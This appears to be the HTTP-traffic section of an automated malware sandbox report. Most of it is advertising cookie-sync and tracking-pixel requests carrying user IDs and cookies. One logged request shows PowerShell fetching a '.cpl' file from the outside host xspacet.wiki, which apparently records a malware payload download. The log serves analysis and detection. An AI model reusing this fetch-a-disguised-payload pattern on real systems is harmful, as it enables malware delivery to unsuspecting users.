Source: global traffic	HTTP traffic detected: GET /user-matching?id=3679&gdpr=0&gdpr_consent= HTTP/1.1Host: ads.stickyadstv.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=159706&gdpr=0&gdpr_consent=&us_privacy=&pu=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING}%26uid%3D%23PMUID HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?redirect=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11595%26id%3D%7BID5UID%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry= HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?ssp=onetag&gdpr=0&gdpr_consent=&user_id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ps/?_=1739863215948.&ri=zzz000000000002zzz&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=1-N-&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/syncr?gdpr=&gdprstr=&partnerId=59&r=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dundertonenew%26userId%3D%24UIDENC%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent=&us_privacy=1-N- HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=fff333a6-de39-4d86-ac69-1c4d6dbcef67%252C%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=12776 HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=typeaholdings&zcc=1&cb=1739863221701 HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tap.php?v=223352&nid=4584&put=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=undertone&gdpr=&gdpr_consent=&us_privacy=1-N-&gpp=&gpp_sid=&f=b&uid=8m8v76l5efj7sum1f3zxvnakf HTTP/1.1Host: s2s.t13.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: uids=eyJ0ZW1wVUlEcyI6eyJheG9uaXgiOnsidWlkIjoiYjRiNjhkNjMtOGU4Ni00NTBjLWIzYWYtODczNTg4NmU0NjhmIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTQuNTA0MDE2MjY3WiJ9LCJ1bnJ1bHlmc3giOnsidWlkIjoiT1BUT1VUIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTEuMzQyMTQyMjI0WiJ9LCJ1bnJ1bHkiOnsidWlkIjoiT1BUT1VUIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTQuMjA3NzM2ODI1WiJ9fX0=
Source: global traffic	HTTP traffic detected: GET /match?proxied=121&proxied_cookie_name=admtr&proxied_match_url=https%3A%2F%2Fcs.admanmedia.com%2Fad78321e103d19bf85068e7bf407c77f.gif%3Fredir%3Dhttps%253A%252F%252Fssc-cms.33across.com%252Fps%252F%253Fxi%253D121%2526xu%253D%255BUID%255D HTTP/1.1Host: events-ssc.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match?proxied=126&proxied_cookie_name=mf_u_key&proxied_match_url=https%3A%2F%2Fcs.mobfox.com%2F4601c426c7c74dd7172eb80111ccb2bf.gif HTTP/1.1Host: events-ssc.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match?proxied=112&proxied_match_url=https%3A%2F%2Frtb.mfadsrvr.com%2Fsync%3Fssp%3Dthe33across%26ssp_user_id%3D%26channel%3D3S%26us_privacy%3D1-N- HTTP/1.1Host: events-ssc.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /i/882/8.gif?o=api&id5id=ID5wPOzBjKabPwW3nTzoCycslSIH9T6Lp7ePxZHzeKFVDj6ZfEiBpXeV1LqQWnzXueB&gdpr_consent=undefined&gdpr=false&gpp=DBACOe%7ECQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA%7EBQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA%7E1-N-&gpp_sid=6 HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /?gdpr=0&gdpr_consent=&pubid=11362&redirect=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11571%26id%3D%7Bdevice_id%7D HTTP/1.1Host: csync.loopme.meConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?ssp=onetag&ssp_user_id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/882/0/8/1.gif?gdpr=0&gdpr_consent=&gpp=DBACOe%7ECQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA%7EBQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA%7E1-N-&gpp_sid=6&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /stein/ncpa.cpl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: xspacet.wikiConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=onetag_eb&gdpr=0&gdpr_consent=&google_cm HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=vidazoo&us_privacy=1-N-&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11609&id=807172044cfaebc9e3174de85414f573 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /api/sync?callerId=5&gdpr=0&gdpr_consent=&us_privacy=&redirectUri=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D107%26uid%3D[ssb_sync_pid] HTTP/1.1Host: ssbsync-global.smartadserver.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=115667&uid=4d0a2efd-dae2-4568-862f-38e40678fc86 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /cs?aid=11600&id=5542369023724132487&gdpr=0&gdpr_consent= HTTP/1.1Host: cs.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /match/?int_id=106&redir=1&ot_initiated=1&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/usync/?gdpr=0&gdpr_consent=&pubId=69f48c2160c8113Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
